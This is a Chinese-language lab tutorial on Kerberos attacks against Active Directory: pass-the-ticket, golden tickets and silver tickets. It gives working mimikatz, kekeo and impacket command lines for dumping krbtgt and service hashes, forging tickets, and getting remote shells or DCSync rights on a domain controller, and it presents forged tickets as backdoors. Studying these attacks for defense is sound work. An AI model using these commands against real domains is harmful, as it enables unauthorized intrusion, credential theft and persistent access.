0x00 前言

票据传递(Pass the Ticket,PTT),使用 Kerberos票据进行内网横向,不需要管理员权限。比如之前一篇文章:

域渗透-哈希传递攻击(Pass the Hash/Key)

0x01 简介

票据传递攻击攻击点都是出现在kerberos认证中的,所以我们我们需要知道的kerberos基本原理,可以查阅另外一篇文章域渗透-Kerberos认证 进行学习。

我们先要了解一些基础的概念:

  • KDC(Key Distribution Center)= 密钥分发中心
  • AS(Authentication Service)= 认证用户的身份,并为其发放TGT的服务
  • TGT(Ticket Granting Ticket)= TGT认证票据,由AS服务发放,存储在内存,默认有效期为10小时
  • TGS(Ticket Granting Service)= 票据发放服务
  • ST(Service Tickets)= ST服务票据,由TGS服务发送
  • AP(Application Server)= 提供用户所需的服务
  • 黄金票据(Golden Ticket)= 使用域账号krbtgt的NTLM Hash进行加密
  • 白银票据 (Silver Ticket)= 使用服务账户的NTLM Hash进行加密

0x02 票据传递

基本原理

票据传递是把内存中的TGT和ST票据进行认证,获取远程服务的访问权限。比如我们拿到一个域用户和域控的NTLM,大家都知道使用PTH(Pass the hash)使用mimikatz都需要本地管理员权限才可以操作(当然也可以用impacket里面的工具),可以使用ptt功能进行票据传递,拿到域控的权限。

实战

环境是:

172.16.0.105:普通域用户权限,Windows 7

172.16.0.106:域控服务器,域管理用户testuser

我们在Windows 7拿到了域管理员testuser的NTLM,但是没有本地管理员的权限。要使用kekeo才可以申请TGT,mimikatz找不到这个功能,但是mimikatz有ptt的功能。

下面使用kekeo进行操作:

kekeo.exe "tgt::ask /user:testuser /domain:hack.lab /ntlm:f3a0acba8bcfb8a0896281bbfcb793ed" exit

1

执行后会在当前的目录上生成一个后缀为kirbi的票据文件,我们需要把该票据导入到内存中才可以生效。

先使用系统自带清理票据的命令,要不然会出现错误:

klist purge

将票据文件导入内存有两种方法,都是不需要管理员权限

kekeo:

kekeo "kerberos::ptt [email protected][email protected]" exit

Mimikatz:

kerberos::ptt C:\Users\lucky\Desktop\TGT_testuser@HACK.LAB_krbtgt~hack.lab@HACK.LAB.kirbi

导入后我们再尝试远程访问域控的文件内容:

2

有同学说都有域控管理员的NTLM了,这不是脱裤子放屁嘛~哈哈哈,重点在票据传递

0x03 黄金票据(Golden Ticket)

基本原理

之前对黄金票据的理解就是:拿到krbtgt的密码Hash,然后生成任何权限的票据。

诶?要拿到域管理员权限啊,就是要有域管理员权限才可以拿到krbtgt的Hash,那不就脱裤子放屁嘛?

黄金票据在域渗透中经常用来做后门,啊这,那没事了~

黄金票据当你域管理的权限掉了或者密码被改了的时候就很有用。

还记得域渗透-Kerberos认证中AS_REP的ticket中enc-part就是使用krbtgt加密后发过来的TGT票据,那么我们拥有了krbtgt的Hash后就可以创建域内任意的用户生成TGT票据,然后那这张票据去访问服务。比如我拿krbtgt的Hash创建域管理administrator的TGT票据,然后我就可以拿这张票据去请求服务,总所周知,域管理权限很大。

实战

假如我们现在的环境是:

172.16.0.105:内网中的一台普通主机,现在有普通域用户lucky登录到上面

172.16.0.106:域控服务器,名称为DC.hack.lab

172.16.0.107:Kali Linux

Mimikatz

再假如我们上次拿到了域控的权限,导出krbtgt的票据,使用的工具是mimikatz:

mimikatz # lsadump::lsa /inject /name:krbtgt

或者

mimikatz # lsadump::dcsync /user:krbtgt

如下图:

3

记下NTLM和、域SID,下面会用得上。

现在目标管理员已经把域控的后门去掉,而且修改了域管理的密码。

现在就是黄金票据上场的时候了,我们用普通域用户lucky登录到主机172.16.0.105中进行操作。

有两个方法,一个就是直接在申请票据,一个是生成票据再导入票据。

我们直接申请票据写入内存:

mimikatz # kerberos::golden /domain:hack.lab /sid:S-1-5-21-3896163557-1645138957-2306563325 /krbtgt:79f9b4b4e9ffced451fb812cac908bb6 /user:fakeuser /ptt

然后远程访问DC的C盘:

4

记得清理下系统票据

klist purge

Mimikatz:

kerberos::purge

导出票据再导入内存,我们在后面加ticket即可:

mimikatz # kerberos::golden /domain:hack.lab /sid:S-1-5-21-3896163557-1645138957-2306563325 /krbtgt:79f9b4b4e9ffced451fb812cac908bb6 /user:fakeuser /ticket:fakeuser.kiribi

运行后会在当前目录生成fakeuser.kiribi文件,然后使用ptt导入内存:

mimikatz # kerberos::ptt fakeuser.kiribi

生成Golden Ticket不仅可以使用aes256还可以使用rc4加密的密钥

Impacket

除此之外我们还可以利用impacket进行制作黄金票据,完全在kali上操作,当然这个工具也可以在Windows上使用。

可能大家在kali上会遇到下面的报错:

[-] Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_WRONG_REALM(Reserved for future use)
[-] [Errno Connection error (HACK.LAB:88)] [Errno -2] Name or service not known

是因为kali的hosts文件和krb5-user包没安装导致的。

安装krb5的krb5-user包:

sudo apt install krb5-user 

设置/etc/hosts:

6

设置/etc/krb5.conf:

default_realm =hack.lab
[realms]
		hack.lab = {
				kdc = tcp/dc:88
		}

7

我们先用域管理员账户密码获取到krbtgt的hash,这里使用一个编码版的mimikatz

使用psexec.py远程登录到域控执行读取hash:

psexec.py hack.lab/testuser@dc -hashes 'aad3b435b51404eeaad3b435b51404ee:de26cce0356891a4a020e7c4957afc72' -c krbtgt.bat

如下图:

5

我们拿到krbtgt的hash和域的sid后,再使用Impacket的ticketer.py脚本进行导出黄金票据:

ticketer.py -nthash 79f9b4b4e9ffced451fb812cac908bb6 -domain-sid S-1-5-21-3896163557-1645138957-2306563325 -domain hack.lab  testuser

它会在目录下生成testuser.ccache文件:

8

然后设置一下环境变量:

export KRB5CCNAME=testuser.ccache

最后执行psexec即可远程访问:

psexec.py hack.lab/testuser@dc -k -no-pass

-k 是使用kerberos票据,也就是上面设置的KRB5CCNAME环境变量

9

除了psexec以外,还可以使用其他工具例如wmiexec.py(它比psexec.py更加隐蔽,因为它不会上传任何二进制文件并且不启动任何服务)或atexec.py(使用计划的任务执行代码)

0x04 白银票据(Silver Ticket)

基本原理

在TGS-REP阶段,TGS_REP里面的ticket的enc-part是使用服务的hash进行加密的,如果我们拥有服务的hash,就可以给我们自己签发任意用户的TGS票据(service ticket),这个票据也被称为白银票据。

相较于黄金票据,白银票据使用要访问服务的hash,而不是krbtgt的hash,由于生成的是TGS票据,不需要跟域控打交道,但是白银票票据只能访问特定服务。

但是要注意的一点是,伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDCPAC签名,则银票将不起作用。

与黄金票据的区别

访问权限不同

Golden Ticket是伪造的TGT(Ticket Granting Ticket),所以可以获取任何Kerberos服务权限

Silver Ticket是伪造的TGS,也就是说其范围有限,只能访问指定的服务权限

加密方式不同

Golden Ticket是由krbtgt的hash加密

Silver Ticket是由服务账户(通常为计算机账户)hash加密

认证流程不同

Golden Ticket在使用的过程需要同域控通信

Silver Ticket在使用的过程不需要同域控通信

共同点

都是用来做后门

利用条件

攻击者在使用Silver Ticket对内网进行攻击时,需要掌握以下信息:

  • 域名
  • 域SID
  • 目标服务器的FQDN
  • 可利用的服务
  • 服务账号的NTLM Hash
  • 需要伪造的用户名

实战

也就是说只要手里有Silver Ticket,就可以跳过KDC认证,直接去访问指定的服务。

伪造CIFS服务权限

CIFS服务通常用于Windows主机之间的文件共享。

我们在获取到某一台主机的管理员权限,或者一般情况下我们都在域控上面做白银票据,留作后门。

现在我们在域控上使用mimikatz获取信息:

mimikatz log "privilege::debug" "sekurlsa::logonpasswords"

使用log会把执行记录生成在当前目录,方便复制

我们找到以username为主机名称的信息:

10

获取SID值:

whoami /all

11

注意要去掉-500

整理以上获得的信息如下:

  • /domain:hack.lab
  • /sid:S-1-5-21-3896163557-1645138957-2306563325
  • /target:dc.hack.lab
  • /service:cifs
  • /rc4:b21153e3b2ca87bc4b2031f2a9726613
  • /user:fakeuser

记得清理下系统票据

klist purge

Mimikatz:

kerberos::purge

现在来到我们普通域用户下的win7(172.16.0.105)执行mimikatz:

mimikatz "kerberos::golden /domain:hack.lab /sid:S-1-5-21-3896163557-1645138957-2306563325 /target:dc.hack.lab /service:cifs /rc4:b21153e3b2ca87bc4b2031f2a9726613 /user:fakeuser /ptt"

执行完我们就可以访问dc服务器上的文件了:

12

伪造LDAP服务权限

我们可以使用dcsync从域控服务器中获取指定用户的散列值,比如krbtgt。现在我们使用mimikatz实验获取krbtgt的密码散列:

lsadump::dcsync /dc:dc.hack.lab /domain:hack.lab /user:krbtgt

可以看到是无法获取的:

13

记得清理下系统票据

klist purge

Mimikatz:

kerberos::purge

现在我们开始使用上面获取到的信息进行伪造银票:

  • /domain:hack.lab
  • /sid:S-1-5-21-3896163557-1645138957-2306563325
  • /target:dc.hack.lab
  • /service:ldap
  • /rc4:b21153e3b2ca87bc4b2031f2a9726613
  • /user:fakeuser
mimikatz "kerberos::golden /domain:hack.lab /sid:S-1-5-21-3896163557-1645138957-2306563325 /target:dc.hack.lab /service:ldap /rc4:b21153e3b2ca87bc4b2031f2a9726613 /user:fakeuser /ptt"

我们再次获取的时候就能有权限了:

14

lsadump::dcsync 向 DC 发起一个同步对象(可获取帐户的密码信息)的质询。 需要的权限包括管理员组(Administrators),域管理员组( Domain Admins)或企业管理员组(Enterprise Admins)以及域控制器的计算机帐户 只读域控制器默认不允许读取用户密码数据

0x05 防御

  1. 在内网中安装杀毒软件,及时更新系统补丁
  2. 安装流量监控设备,时刻关注域控的日志
  3. 计算机账户的账户密码默认30天更换一次

0x06 参考

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets

https://wooyun.js.org/drops/%E5%9F%9F%E6%B8%97%E9%80%8F%E2%80%94%E2%80%94Pass%20The%20Ticket.html

https://blog.csdn.net/qq_41874930/article/details/108266378

https://www.bianchengquan.com/article/394332.html

https://xz.aliyun.com/t/8690

https://buaq.net/go-87488.html